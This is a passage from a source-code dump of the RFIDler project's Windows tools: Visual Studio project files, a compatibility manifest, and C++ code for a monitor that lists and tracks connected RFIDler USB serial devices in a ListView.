<ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "windows-src/RFIDler-install/rfidlerinstall.vcxproj.filters",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"resource.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"rfidler-install.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"rfidinstall.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n    <None Include=\"rfidler256.ico\">\n      <Filter>Resource Files</Filter>\n    </None>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"rfidinstall.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "windows-src/RFIDler-install/win-compat.manifest",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n  <compatibility xmlns=\"urn:schemas-microsoft-com:compatibility.v1\">\n    <application>\n      <!--The ID below indicates application support for Windows Vista -->\n      <supportedOS Id=\"{e2011457-1546-43c5-a5fe-008deee3d3f0}\"/>\n      <!--The ID below indicates application support for Windows 7 -->\n      <supportedOS Id=\"{35138b9a-5d96-4fbd-8e2d-a2440225f93a}\"/>\n      <!-- Windows 8 -->\n      <supportedOS Id=\"{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}\"/>\n      <!-- Windows 8.1 -->\n      <supportedOS Id=\"{1f676c76-80e1-4239-95bb-83d0f6d0da78}\"/>\n      <!-- Windows 10 --> \n      <supportedOS Id=\"{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}\"/>\n    </application>\n  </compatibility>\n</assembly>\n"
  },
  {
    "path": "windows-src/RFIDler-mon/deviceinfo.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: deviceinfo.cpp\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n#include \"rfidmonitor.h\"\n\n\n// Configured & listed RFIDlers\nint DeviceInfo::iCountRfidlers = 0;\n// Microchip USB serial if enabled\nint DeviceInfo::iCountDevBoards = 0;\n// Configured & listed Bootloaders\nint DeviceInfo::iCountBootloaders = 0;\n// Unconfigured & listed RFIDlers, plus Microchip USB serial if enabled\nint DeviceInfo::iCountUnconRfidlers = 0;\nint DeviceInfo::iCountUnconDevBoards = 0;\n// count of other serial devices\nint DeviceInfo::iCountOtherSerial = 0;\n\n\n\n\n// new DeviceInfo object, transfers ownership of strings\nBOOL DeviceInfo::AddDeviceToList(enum DevType aDevType, enum DevState aDevState, FILETIME aNow,\n    DevicePortDetails& aPortDetails, DeviceLocation& aLocation, DeviceSerialNumber& aSerialNumber, unsigned aScanId,\n    SerialPortType aPortType)\n{\n    DeviceInfo *devNext = DeviceTracker::GetPortList();\n    DeviceInfo *newDev = NULL;\n\n    // decide if new device should be DevArrived rather than DevPresent\n    if ((aDevState == DevPresent) && !DevTracker.CheckInitialScanFlag(aDevType)) {\n        aDevState = DevArrived;\n    }\n\n    newDev = new DeviceInfo(aDevType, aDevState, aNow, aPortDetails, aLocation, aSerialNumber, aScanId, devNext, aPortType);\n\n    if (newDev) {\n        wchar_t buffer[20];\n\n        // update double linked list\n        if (devNext) {\n            devNext->devPrev = newDev;\n        }\n        DeviceTracker::SetPortList(newDev);\n\n        StringCbPrintf(buffer, sizeof(buffer), \n            (newDev->DeviceState() == DevArrived) ? _T(\"%s 0 min\") : _T(\"%s\"), newDev->StateName());\n\n        // display update shouldn't fail, but check anyway\n        if (!DevTracker.AddViewItem(newDev->DisplayName(), newDev->devImage,\n                newDev->DevTypeName(), buffer, newDev->LocationString(), aSerialNumber.devSerialString,\n                (LPARAM)newDev)) {\n            newDev->Destroy();\n            newDev = NULL;\n        } else {\n            if ((aDevState == DevArrived) || (aDevState == DevPresent)) {\n                // update count\n                newDev->IncDeviceTypeCount();\n            }\n\n            // update DeviceTracker counts, decide on notifications \n            DevTracker.DetermineArrivalNotifications(aDevType, aDevState);\n        }\n    }\n\n    return newDev ? TRUE : FALSE;\n}\n\n\nvoid DeviceInfo::DecDeviceTypeCount()\n{\n    devPresent = FALSE;\n    UpdateDeviceTypeCount(-1);\n}\n\n\nvoid DeviceInfo::UpdateDeviceTypeCount(int delta)\n{\n    switch (devType) {\n    case DevRfidlerCom:\n        iCountRfidlers += delta;\n        break;\n    case DevMicroDevBoard:\n        iCountDevBoards += delta;\n        break;\n    case DevMicroBootloader:\n        iCountBootloaders += delta;\n        break;\n    case DevUnconfigRfidlerCom:\n        iCountUnconRfidlers += delta;\n        break;\n    case DevUnconfigMicroDevBoard:\n        iCountUnconDevBoards += delta;\n        break;\n    case DevOtherSerial:\n        iCountOtherSerial += delta;\n        break;\n    default:\n        break;\n    }\n}\n\n\nvoid DeviceInfo::IncDeviceTypeCount()\n{\n    devPresent = TRUE;\n    UpdateDeviceTypeCount(1);\n}\n\n\nDeviceInfo *DeviceInfo::DeleteDevice(BOOL skipNotifications)\n{\n    DeviceInfo *next = devNext;\n\n    if (devPresent) {\n        // update count\n        DecDeviceTypeCount();\n    }\n\n    // update DeviceTracker counts, decide on notifications\n    if (!skipNotifications) {\n        DevTracker.DetermineRemovalNotifications(devType, devState, DevNotConnected);\n    }\n\n    // remove device from display\n    DevTracker.RemoveViewItem((LPARAM)this);\n\n    // delete device object, or if locked mark it for delete\n    Destroy();\n\n    return next;\n}\n\n\nvoid DeviceInfo::LockForContextMenu()\n{\n    // LockForContextMenu()\n    devLocked = TRUE;\n}\n\n\nvoid DeviceInfo::UnlockForContextMenu()\n{\n    // UnlockForContextMenu()\n    devLocked = FALSE;\n    if (devDeleteOnUnlock) {\n        Destroy();\n    }\n}\n\n\nvoid DeviceInfo::Destroy()\n{\n    if (devLocked) {\n        devDeleteOnUnlock = TRUE;\n    } else {\n        // release all strings here\n        ReleaseString(devSerialNumber.devSerialString);\n        ReleaseString(devPortDetails.devPortName);\n        ReleaseString(devPortDetails.devFriendlyName);\n        ReleaseString(devSerialNumber.devHardwareId);\n        ReleaseString(devDevicePath);\n\n        // unlink\n        if (devNext) {\n            devNext->devPrev = devPrev;\n        }\n        if (devPrev) {\n            devPrev->devNext = devNext;\n        } else {\n            DeviceTracker::SetPortList(devNext);\n        }\n\n        delete this;\n    }\n}\n\n\nvoid DeviceInfo::SetDeviceIcon()\n{\n    switch(devType)\n    {\n    case DevRfidlerCom:\n        if ((devState == DevPresent) || (devState == DevArrived)) {\n            devImage = DevImgRfidlerOk;\n        } else {\n            devImage = DevImgRfidlerRemoved;\n        }\n        break;\n    case DevMicroDevBoard:\n        if ((devState == DevPresent) || (devState == DevArrived)) {\n            devImage = DevImgDevBoardOk;\n        } else {\n            devImage = DevImgDevBoardRemoved;\n        }\n        break;\n    case DevMicroBootloader:\n        if ((devState == DevPresent) || (devState == DevArrived)) {\n            devImage = DevImgRfidlerBoot;\n        } else {\n            devImage = DevImgRfidlerRemoved;\n        }\n        break;\n    case DevOtherSerial:\n        if ((devState == DevPresent) || (devState == DevArrived)) {\n            devImage = DevImgOtherSerialOk;\n        } else {\n            devImage = DevImgOtherSerialRemoved;\n        }\n        break;\n    case DevUnconfigRfidlerCom:\n        devImage = DevImgRfidlerUnconfig;\n        break;\n    case DevUnconfigMicroDevBoard:\n    default:\n        devImage = DevImgDevBoardUnconfig;\n        break;\n    }\n}\n\n\nconst wchar_t *DeviceInfo::StateName()\n{\n    switch (devState)\n    {\n    case DevAbsent:\n        return _T(\"Absent\");\n    case DevPresent:\n        return _T(\"Present\");\n    case DevArrived: \n        return _T(\"Arrived\");\n    case DevRemoved:\n        return _T(\"Removed\");\n    case DevNotConnected:\n    default:\n        assert(0);\n        return NULL;\n    }\n}\n\n\nconst wchar_t *DeviceInfo::DevTypeName()\n{\n    switch (devType)\n    {\n    case DevRfidlerCom:\n    case DevUnconfigRfidlerCom:\n        return _T(\"RFIDler\");\n    case DevMicroDevBoard:\n    case DevUnconfigMicroDevBoard:\n        return _T(\"dev board\");\n    case DevOtherSerial:\n        // distinguish modems & serial ports\n        switch (devPortType)\n        {\n        case SerialModem:\n            return _T(\"modem\");\n        case SerialMultiport:\n            return _T(\"multiport\");\n        default:\n            return _T(\"serial\");\n        }\n    case DevMicroBootloader:\n        return _T(\"Bootloader\");\n    default:\n        assert(0);\n        return NULL;\n    }\n}\n\n\nconst wchar_t *DeviceInfo::LocationString()\n{\n    static wchar_t  locus[30];\n\n    switch (devLocation.devBusType)\n    {\n    case BusUSB:\n        ZeroMemory(locus, sizeof(locus));\n        StringCbPrintf(locus, sizeof(locus), _T(\"USB hub %i port %i\"), devLocation.devUsbHub, devLocation.devUsbPort);\n        return locus;\n\n    case BusBluetooth:\n        return _T(\"Bluetooth\");\n\n    case BusPCI:\n        return _T(\"PCI bus\");\n\n    case BusPCMCIA:\n        return _T(\"PCMCIA bus\");\n\n    case BusISAPNP:\n        return _T(\"ISA PNP\");\n\n    case BusEISA:\n        return _T(\"EISA bus\");\n\n    case BusMCA:\n        return _T(\"MCA bus\");\n\n    case BusFirewire:\n        return _T(\"Firewire\");\n\n    case BusSD:\n        return _T(\"SD card\");\n\n    default:\n        return NULL;\n    }\n}\n\n\nconst wchar_t *DeviceInfo::DisplayName()\n{\n    switch (devType)\n    {\n    case DevRfidlerCom:\n    case DevMicroDevBoard:\n    case DevOtherSerial:\n        return devPortDetails.devPortName;\n    case DevMicroBootloader:\n        return _T(\"HID bootloader\");\n    case DevUnconfigRfidlerCom:\n    case DevUnconfigMicroDevBoard:\n        return _T(\"Unconfigured\");\n    default:\n        assert(0);\n        return NULL;\n    }\n}\n\n\n// compose details about device into infotip/tooltip\nconst wchar_t *DeviceInfo::InfoTip()\n{\n    static wchar_t  infotipBuffer[1024];\n    wchar_t *desc = NULL;\n\n    infotipBuffer[0] = 0;\n\n    switch (devType)\n    {\n    case DevRfidlerCom:\n        desc = _T(\"RFIDler COM port\");\n        break;\n    case DevMicroDevBoard:\n        desc = _T(\"Microchip USB COM port\\nDevelopment board\");\n        break;\n    case DevMicroBootloader:\n        desc = _T(\"Microchip HID bootloader\\nRFIDler or other development board\");\n        break;\n    case DevUnconfigRfidlerCom:\n        desc = _T(\"RFIDler COM port, driver not installed\");\n        break;\n    case DevUnconfigMicroDevBoard:\n        desc = _T(\"Microchip USB COM port, driver not installed\");\n        break;\n    case DevOtherSerial:\n        desc = devPortDetails.devFriendlyName;\n        break;\n    default:\n        assert(0);\n    }\n\n    if (desc) {\n        wcscpy_s(infotipBuffer, ARRAYSIZE(infotipBuffer), desc);\n    }\n\n    // describe serial port type, based on Windows GUID for ports, modem or multiport serial card\n    desc = NULL;\n    switch (devPortType)\n    {\n    case SerialPort:\n        desc = _T(\"\\nSerial Port\");\n        break;\n    case SerialModem:\n        desc = _T(\"\\nModem\");\n        break;\n    case SerialMultiport:\n        desc = _T(\"\\nMultiport Serial Device\");\n        break;\n    }\n    if (desc) {\n        wcscat_s(infotipBuffer, ARRAYSIZE(infotipBuffer), desc);\n    }\n\n    if (devSerialNumber.devHardwareId) {\n        wcscat_s(infotipBuffer, ARRAYSIZE(infotipBuffer), _T(\"\\nHardwareId = \"));\n        wcscat_s(infotipBuffer, ARRAYSIZE(infotipBuffer), devSerialNumber.devHardwareId);\n    }\n\n    if (devSerialNumber.devSerialString) {\n        if (devSerialNumber.devIsWinSerial) {\n            desc = _T(\"\\nWindows generated serial number\");\n        } else {\n            desc = _T(\"\\nSerial number from device\");\n        }\n        wcscat_s(infotipBuffer, ARRAYSIZE(infotipBuffer), desc);\n    }\n\n    return infotipBuffer;\n}\n\n\n// (class static) callback function given to ListView_SortItems\n// negative result if dev1 precedes dev2, positive for dev2 ahead of dev1\nint CALLBACK DeviceInfo::CompareProc(DeviceInfo *dev1, DeviceInfo *dev2, LPARAM primaryKey)\n{\n    int result = 0;\n    int reverse = (primaryKey >= lvRevDispName);\n\n    // default ordering on first run or if state save disabled: port name/number\n    switch (primaryKey) {\n    case lvDispName: \n    case lvRevDispName:\n        if (dev1->devPortDetails.devPortName) {\n            if (!dev2 ->devPortDetails.devPortName) {\n                result = -1;\n            } else {\n                result = dev1->devPortDetails.devPortNumber - dev2->devPortDetails.devPortNumber;\n            }\n        } else {\n            if (dev2 ->devPortDetails.devPortName) {\n                result = 1;\n            }\n        }\n        if (result == 0) {\n            result = (int)dev1->devType - (int)dev2->devType;\n        }\n        break;\n\n    case lvDispType: // device type\n    case lvRevDispType:\n        result = (int)dev1->devType - (int)dev2->devType;\n        break;\n\n    case lvDispState: // device state\n    case lvRevDispState:\n        result = (int)dev1->devState - (int)dev2->devState;\n        break;\n\n    case lvDispLocus: // USB location\n    case lvRevDispLocus:\n        if (dev1->devLocation.devBusType == BusUSB) {\n            if (dev2->devLocation.devBusType == BusUSB) {\n                result = dev1->devLocation.devUsbHub - dev2->devLocation.devUsbHub;\n                if (result == 0) {\n                    result = dev1->devLocation.devUsbPort - dev2->devLocation.devUsbPort;\n                }\n            } else {\n                result = -1;\n            }\n        } else {\n            // arbitrary order for bus types\n            result = (int)dev2->devLocation.devBusType;\n            result -= (int)dev1->devLocation.devBusType;\n        }\n        break;\n\n    case lvDispSernum: // serialnumber\n    case lvRevDispSernum:\n    default:\n        if (dev1->devSerialNumber.devSerialString) {\n            if (dev2->devSerialNumber.devSerialString) {\n                result = wcscmp(dev1->devSerialNumber.devSerialString, dev2->devSerialNumber.devSerialString);\n            } else {\n                result = -1;\n            }\n        } else {\n            if (dev2->devSerialNumber.devSerialString) {\n                result = 1;\n            }\n        }\n        break;\n    }\n\n    if (reverse && (result != 0)) {\n        result = -result;\n    }\n\n    return result;\n}\n\n\nvoid DeviceInfo::SetDeviceAbsent()\n{\n    assert(devState == DevRemoved);\n    devState = DevAbsent;\n}\n\n\nvoid DeviceInfo::SetDevicePresent()\n{\n    assert(devState == DevArrived);\n    devState = DevPresent;\n}\n\n\nvoid DeviceInfo::UpdateDeviceState(enum DevState aDevState, FILETIME aNow, unsigned aScanId)\n{\n    // check for change of state, eg removed etc...\n    if (devState != aDevState) {\n        BOOL chgState = FALSE;\n\n        if (aDevState == DevAbsent) {\n            if ((devState == DevPresent) || (devState == DevArrived)) {\n#ifdef _DEBUG\n                PrintDebugStatus(_T(\"Change state to removed\\n\"));\n#endif\n                // update DeviceTracker counts, decide on notifications\n                DevTracker.DetermineRemovalNotifications(devType, devState, DevRemoved);\n\n                devState = DevRemoved;\n                devElapsed = 0;\n                devTimestamp = aNow;\n                chgState = TRUE;\n                // update counts\n                DecDeviceTypeCount();\n            }\n        } else if (aDevState == DevPresent) {\n            if ((devState == DevAbsent) || (devState == DevRemoved)) {\n#ifdef _DEBUG\n                PrintDebugStatus(_T(\"Change state to arrived\\n\"));\n#endif\n                devDeleteOnUnlock = FALSE; // device has returned, no longer need to delete\n\n                // update DeviceTracker counts, decide on notifications \n                DevTracker.DetermineArrivalNotifications(devType, aDevState);\n\n                devState = DevTracker.CheckInitialScanFlag(devType) ? DevPresent : DevArrived;\n                devTimestamp = aNow;\n                devElapsed = 0;\n                chgState = TRUE;\n                // update counts\n                IncDeviceTypeCount();\n            }\n        }\n\n        if (chgState) {\n            wchar_t buffer[20];\n\n            StringCbPrintf(buffer, sizeof(buffer), _T(\"%s 0min\"), StateName());\n            SetDeviceIcon();\n\n            // update port status & icon on display\n            DevTracker.UpdateViewItemIconAndState(devImage, buffer, (LPARAM)this);\n        }\n    }\n\n    devScanId = aScanId;\n}\n\n\nvoid DeviceInfo::UpdateDevice(enum DevType aDevType, enum DevState aDevState,\n        FILETIME aNow, DevicePortDetails& aPortDetails, DeviceLocation& aLocation,\n        DeviceSerialNumber& aSerialNumber, unsigned aScanId)\n{\n    // change of device type happens when installing/removing device drivers\n    if (devType != aDevType) {\n#ifdef _DEBUG\n        PrintDebugStatus(_T(\"DevType changed (%u -> %u)\\n\"), devType, aDevType);\n#endif\n\n        if (devPresent) {\n            // update counts\n            DecDeviceTypeCount();\n            devType = aDevType;\n            IncDeviceTypeCount();\n        } else {\n            devType = aDevType;\n        }\n\n        // update DeviceTracker counts, decide on notifications \n        DevTracker.DetermineRemovalNotifications(devType, devState, DevRemoved);\n        DevTracker.DetermineArrivalNotifications(aDevType, devState);\n\n        // rely on FindDevMatchBySernum() to enforce type change restrictions\n        SetDeviceIcon();\n\n        // update port status & icon on display\n        DevTracker.UpdateViewItemIconAndType(devImage, DevTypeName(), (LPARAM)this);\n\n        // installing driver can add/change name\n        if ((devPortDetails.devPortName && !aPortDetails.devPortName) || \n                ((aPortDetails.devPortName) && (!devPortDetails.devPortName || wcscmp(devPortDetails.devPortName, aPortDetails.devPortName)))) {\n#ifdef _DEBUG\n            PrintDebugStatus(_T(\"Changing PortName (%s)\\n\"), aPortDetails.devPortName ? aPortDetails.devPortName : devPortDetails.devPortName);\n#endif\n            // swap new & old port details (simplifies memory management this way)\n            DevicePortDetails temp(devPortDetails);\n            devPortDetails = aPortDetails;\n            aPortDetails = temp;\n\n            DevTracker.UpdateViewItemPortName(DisplayName(), (LPARAM)this);\n        }\n    }\n\n    // check for change of state, eg removed etc...\n    UpdateDeviceState(aDevState, aNow, aScanId);\n\n\n    if ((devState == DevArrived) || (devState == DevPresent)) {\n        // portname has changed? eg by user in Device Manager\n        if ((aPortDetails.devPortName) && (!devPortDetails.devPortName || wcscmp(devPortDetails.devPortName, aPortDetails.devPortName))) {\n            // swap new & old port details (simplifies memory management this way)\n            DevicePortDetails temp(devPortDetails);\n            devPortDetails = aPortDetails;\n            aPortDetails = temp;\n\n            DevTracker.UpdateViewItemPortName(DisplayName(), (LPARAM)this);\n        }\n    }\n\n    if ((devLocation.devBusType != aLocation.devBusType) || (devLocation.devUsbHub != aLocation.devUsbHub) || (devLocation.devUsbPort != aLocation.devUsbPort)) {\n        devLocation = aLocation;\n        // update displayed bus, usb hub/port location\n        DevTracker.UpdateViewItemLocation(LocationString(), (LPARAM)this);\n    }\n\n    // TODO is this required?\n    if (!devSerialNumber.devSerialString && aSerialNumber.devSerialString) {\n        DeviceSerialNumber temp(devSerialNumber);\n        devSerialNumber = aSerialNumber;\n        aSerialNumber = temp;\n\n        // NB should reorder devices to reflect updated serial number\n        DevTracker.UpdateViewItemSerialNumber(devSerialNumber.devSerialString, (LPARAM)this);\n    }\n\n    devScanId = aScanId;\n}\n\n\n// update time, returns TRUE device is still valid FALSE if no longer visible\nBOOL DeviceInfo::UpdateTimeInState(FILETIME now, DWORD limit)\n{\n    ULARGE_INTEGER t1, t2;\n\n    t1.LowPart = devTimestamp.dwLowDateTime;\n    t1.HighPart = devTimestamp.dwHighDateTime;\n    t2.LowPart = now.dwLowDateTime;\n    t2.HighPart = now.dwHighDateTime;\n\n    t2.QuadPart -= t1.QuadPart;\n    t2.QuadPart /= 600000000l; // minutes\n\n    if (t2.LowPart <= limit) {\n        if (devElapsed != t2.LowPart) {\n            wchar_t buffer[20];\n\n            devElapsed = t2.LowPart;\n            StringCbPrintf(buffer, sizeof(buffer), _T(\"%s %i min\"), StateName(), t2.LowPart);\n            DevTracker.UpdateViewItemState(buffer, (LPARAM)this);\n        }\n        return TRUE;\n    } else {\n        return FALSE;\n    }\n}\n\n\n// DevicePath is used to open HID devices\nwchar_t const *DeviceInfo::DevicePath()\n{\n    if (!devDevicePath) {\n        // GUID_DEVINTERFACE_HID\n        GUID HidGuid = { 0x4D1E55B2L, 0xF16F, 0x11CF, 0x88, 0xCB, 0x00, 0x11, 0x11, 0x00, 0x00, 0x30 };\n\n        HDEVINFO DeviceInfoSet = SetupDiGetClassDevs(&HidGuid, 0, NULL, DIGCF_PRESENT | DIGCF_INTERFACEDEVICE);\n\n        if (DeviceInfoSet != INVALID_HANDLE_VALUE) {\n            BOOL foundPath = FALSE;\n            SP_DEVICE_INTERFACE_DATA deviceInterface;\n            DWORD dIndex = 0;\n\n            ZeroMemory(&deviceInterface, sizeof(SP_DEVICE_INTERFACE_DATA));\n            deviceInterface.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);\n\n            while (SetupDiEnumDeviceInterfaces(DeviceInfoSet, 0, &HidGuid, dIndex, &deviceInterface) && !foundPath) {\n                SP_DEVICE_INTERFACE_DETAIL_DATA *devDetails = NULL;\n                DWORD size;\n\n                dIndex++;\n        \n                SetupDiGetDeviceInterfaceDetail(DeviceInfoSet, &deviceInterface, NULL, 0, &size, NULL);\n                devDetails = (SP_DEVICE_INTERFACE_DETAIL_DATA *) calloc(size, 1);\n                devDetails->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA);\n                if (SetupDiGetDeviceInterfaceDetail(DeviceInfoSet, &deviceInterface, devDetails, size, &size, NULL)) {\n                    // wcsstr variant that ignores case\n                    const wchar_t *match = wcs_istr(devDetails->DevicePath, devSerialNumber.devSerialString);\n                    if (match) {\n                        devDevicePath = wcs_dupsubstr(devDetails->DevicePath, size); // todo size - 4?\n                        foundPath = TRUE;\n                    }\n\n#ifdef _DEBUG\n                    PrintDebugStatus(_T(\"HID DevicePath = \\\"%s\\\", serialnum = \\\"%s\\\", foundPath %i\\n\"),\n                        devDetails->DevicePath, devSerialNumber, foundPath);\n#endif\n                }\n                free(devDetails);\n            } // while\n        \n            SetupDiDestroyDeviceInfoList(DeviceInfoSet);\n        }\n    }\n\n    return devDevicePath;\n}\n\n\n/* end of file deviceinfo.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/devicetracker.cpp",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: devicetracker.cpp\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n\n#include \"rfidmonitor.h\"\n#include <cfgmgr32.h>\n#include <dbt.h>\n#include <devguid.h>\n#define INITGUID\n#include <DEVPKEY.H>\n// headers from DDK\n#include <wdmguid.h>\n\n\n/*\n    ListView notes\n    ==============\n\n    keyboard shortcuts\n    SPACE              Locates new selection and anchor for the item.\n    SHIFT + SPACE      Extends the selection from anchor to the item.\n    CTRL + SPACE       Invoke additional selection or deselection and move the anchor to the selected item.\n    Arrow keys         Move focus and remove all selection and the anchor previously made.\n    CTRL + NUM+ (Control with Numberpad +)\n                       In details view resizes the colmuns to content width\n    Drop Menu key (VK_APPS) or SHIFT + F10\n                       WM_CONTEXTMENU is processed if the ListView has an item selected\n\n    currently non-functioning shortcuts\n    CTRL+arrow keys    Move focus without move of selection or the anchor.\n    Any printable key  Moves the selection to the item matching prefix letters in the beginning of the label.\n                       (generates LVN_INCREMENTALSEARCHW message, not currently handled)\n*/\n\n\nDeviceInfo *DeviceTracker::mListDevices = NULL;\n\n\nvoid DeviceTracker::SetViewStyle(int viewButton)\n{\n    LONG newStyle;\n\n    switch (viewButton) {\n    case ID_VIEW_LARGE_ICONS:\n        newStyle = LV_VIEW_ICON;\n        break;\n    case ID_VIEW_SMALL_ICONS:\n        newStyle = LV_VIEW_SMALLICON;\n        break;\n    case ID_VIEW_DETAILS:\n        newStyle = LV_VIEW_DETAILS;\n        break;\n    case ID_VIEW_TILES:\n        newStyle = LV_VIEW_TILE;\n        break;\n    default:\n        assert(0);\n        return;\n    }\n\n    ListView_SetView(mHWndListView, newStyle);\n    mOptions.SaveViewStyleButton(viewButton);\n\n    /* Re-sort ListView if changing to Details View, as documentation\n        implies sorting does not affect other view styles.\n    */\n    if (newStyle == LV_VIEW_DETAILS) {\n        mNeedDevicesResort = FALSE;\n        ListView_SortItems(mHWndListView, DeviceInfo::CompareProc, mSortType);\n    }\n}\n\n\nint DeviceTracker::FindViewItem(LPARAM lParam)\n{\n    LVFINDINFO findinfo;\n\n    ZeroMemory(&findinfo, sizeof(LVFINDINFO));\n    findinfo.flags = LVFI_PARAM;\n    findinfo.lParam = lParam;\n\n    return ListView_FindItem(mHWndListView, -1, &findinfo);\n}\n\n\nvoid DeviceTracker::RemoveViewItem(LPARAM lParam)\n{\n    int itemId = FindViewItem(lParam);\n\n    if (itemId > -1) {\n        ListView_DeleteItem(mHWndListView, itemId);\n    }\n}\n\n\nBOOL DeviceTracker::AddViewItem(const wchar_t *aName, enum DevImage aImage, const wchar_t *aDevType, \n            const wchar_t *aState, const wchar_t *aUsbLocation, const wchar_t *aSerialNumber, LPARAM lParam)\n{\n    LVITEM lvItem;\n    int    itemId = -1;\n    // Tile View stuff\n    unsigned int tileColumns[] = { lvDispType, lvDispState, lvDispLocus, lvDispSernum };\n    int tileFormat[] = { LVCFMT_LEFT, LVCFMT_LEFT, LVCFMT_LEFT, LVCFMT_LEFT, LVCFMT_LEFT };\n\n\n    ZeroMemory(&lvItem, sizeof(LVITEM));\n    lvItem.iItem = 0;\n    assert(lvDispName == 0);\n    lvItem.iSubItem = lvDispName; // must be 0\n    lvItem.mask = LVIF_PARAM;\n    lvItem.lParam = lParam;\n    if (aName) {\n        lvItem.mask |= LVIF_TEXT;\n        lvItem.pszText = (LPWSTR) aName;\n    }\n    if (aImage >= 0) {\n        lvItem.mask |= LVIF_IMAGE;\n        lvItem.iImage = aImage;\n    }\n\n    // setup TileView stuff\n    // show all fields of this item when in Tile View\n    lvItem.cColumns = 2;\n    lvItem.puColumns = tileColumns;\n    lvItem.piColFmt = tileFormat;\n    lvItem.mask |= LVIF_COLUMNS | LVIF_COLFMT;\n\n    // actually update 